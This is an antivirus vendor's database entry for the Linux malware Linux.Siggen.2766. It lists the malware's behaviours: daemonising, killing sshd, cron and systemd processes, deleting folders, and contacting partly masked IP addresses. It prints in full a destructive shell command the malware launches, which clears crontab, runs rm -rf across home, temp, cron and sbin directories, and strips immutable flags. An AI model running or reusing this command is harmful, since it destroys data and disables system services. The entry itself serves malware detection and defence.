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Linux.Siggen.2766

Added to the Dr.Web virus database: 2020-04-30

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • fwgcrw
Launches processes:
  • sh -c crontab -r ; pkill -9 sshd ; pkill -9 cron ; rm -rf $HOME/.b* ; rm -rf $HOME/.gn* ; rm -rf $HOME/.* ; rm -rf /var/solr/.gn* ; rm -rf /home/je*/.ba* ; rm -rf /tmp/* ; rm -rf ../temp/* ; rm -rf ../logs/* ; rm -rf temp/* ; rm -rf logs/* ; rm -rf /dev/shm/* ; rm -rf /tmp/.* ; rm -rf /usr/local/sbin/* ; rm -rf /usr/local/sbin/.* ; rm -rf /tmp/* ; rm -rf /run/lock/ ; chattr -R -i /tmp/* ; chattr -R -i /etc/cro*/* ; rm -rf /etc/cro*/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /dev/run/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; mkdir /tmp/zzz ; chmod 000 /tmp/zzz ; mkdir /var/tmp/zzz ; chmod 000 /var/tmp/zzz ; mkdir /var/tmp/kinsing ; chmod 000 /var/tmp/kinsing ; chattr -R -i /var/spool/*/* ; rm -rf /etc/rc.d/init.d/kw* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>/dev/null
Kills system processes:
  • sshd
Kills the following processes:
  • run.sh
  • bash
  • systemd
  • cron
  • systemd-udevd
  • systemd-journal
  • kworker/u2:0
  • /bin/sh
Performs operations with the file system:
Deletes folders:
  • /tmp//.font-unix
  • /tmp//.ICE-unix
  • /tmp//.X11-unix
  • /tmp//.XIM-unix
  • /tmp//.Test-unix
Network activity:
Establishes connection:
  • 16#.##5.104.230:80
  • 17#.##5.62.199:80
  • 14#.##.143.179:80

Curing recommendations


Linux

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